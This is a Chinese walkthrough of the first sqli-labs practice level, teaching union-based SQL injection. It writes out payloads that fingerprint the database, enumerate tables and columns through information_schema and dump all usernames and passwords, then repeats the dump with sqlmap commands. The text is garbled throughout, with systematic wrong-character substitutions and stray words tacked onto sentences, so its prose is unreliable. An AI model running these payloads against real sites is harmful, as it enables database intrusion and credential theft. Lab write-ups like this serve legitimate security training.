sqli-labs第一关 详解

sqli-labs第一关sql

方法一:手工注入数据库

方法二:sqlmap工具网络

两种方式,均可以学学,顺便学会用sqlmap,也是不错的。很少说,咱们开始吧工具

方法一:url

来到第一关,图上说咱们须要一个数字的参数3d

 

 因而咱们先手工注入?id=1 and 1=1 跟?id=1 and 1=2发现页面没有报错orm

每张截图上面页面中有select查询语句,这是我在第一关的源码中加上了echo "$sql<br>";  为了可以跟清楚的了解sql注入的原理 blog

 

因而咱们来判断一下是否为字符型注入,尝试?id=1'发现页面报错,此题应该为字符型注入字符串

 

 因而咱们拼接字符串?id=1' and '1'='1页面回显正常源码

 

 而后咱们使用order by来肯定表中的列数,为何咱们要肯定表中字段的列数呢?是由于咱们的union联合查询

联合查询特色:

一、要求多条查询语句的查询列数是一致的!
二、要求多条查询语句的查询的每一列的类型和顺序最好一致
三、union关键字默认去重,若是使用union all 能够包含重复项

因而咱们构造?id=1' and '1'='1' order by 1--+  页面回显正常

      ?id=1' and '1'='1' order by 2--+  页面回显正常

      ?id=1' and '1'='1' order by 3--+  页面回显正常

      ?id=1' and '1'='1' order by 4--+  出现报错界面

 

 而后咱们就肯定了字段数,因而用联合查询?id=-1' union select 1,2,3--+    (将id弄成一个负数的值,使前面的语句失效)而后看看union查询是否有回显位

 

 这样咱们就看到了2,3这两个回显位

而后咱们利用union查询,查看数据库的版本和数据库名,这里面咱们再补充点知识点

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取全部数据

group_concat():一次性获取全部的数据库信息

当咱们简单了解了这个以后,咱们再进行下面的步骤,相信你们有了深入的理解

接下来利用这两个回显位来查询数据库,和数据库版本信息

?id=-1' union select 1,database(),version()--+

 

 而后咱们知道了数据库是security,版本信息:5.7.26

再爆表以前咱们先了解一波知识点:

information_schema.tables:包含了数据库里全部的表

table_name:表名

table_schema:数据库名

column_name:字段名

而后咱们利用union查询来爆出表面宁

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

因而咱们爆出了表名

 

 而后,由咱们正常的思惟,咱们的帐号和密码确定在一张表上,咱们看到了users表,

因而咱们查看一下这张表的字段名

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

 

 

 咱们看到了username和password字段,

而后咱们就去查询字段信息

?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

 

 得到了全部的帐号和密码,这样咱们就顺利的拿到了很重要的信息。

方法二:

--dbs:是查看全部的数据库

--tables:是查看全部的表

--columns:是查看表中全部的字段名

--dump:是查询哪一个表的数据

由于咱们已经知道了注入点的位置,因而咱们直接用sqlmap跑

命令:sqlmap.py -u "有注入点的url" --dbs

 

 咱们看到了security数据库,而后咱们开始爆表

命令:sqlmap.py -u "有注入点的url" -D security --tables

 

接下来咱们开始爆字段名

命令:sqlmap.py -u "有注入点的url" -D security -T users --columns

 

 因而咱们就能够爆信息了

命令:sqlmap.py -u "有注入点的url" -D security -T users -C "id,username,password" --dump

 

 让后咱们就获得了用户名和密码了。

两种方法,你们尽情参考就能够了。知识点,来自网络搜集中,有不对的能够指出来,欢迎你们的评论和指正。

相关文章
相关标签/搜索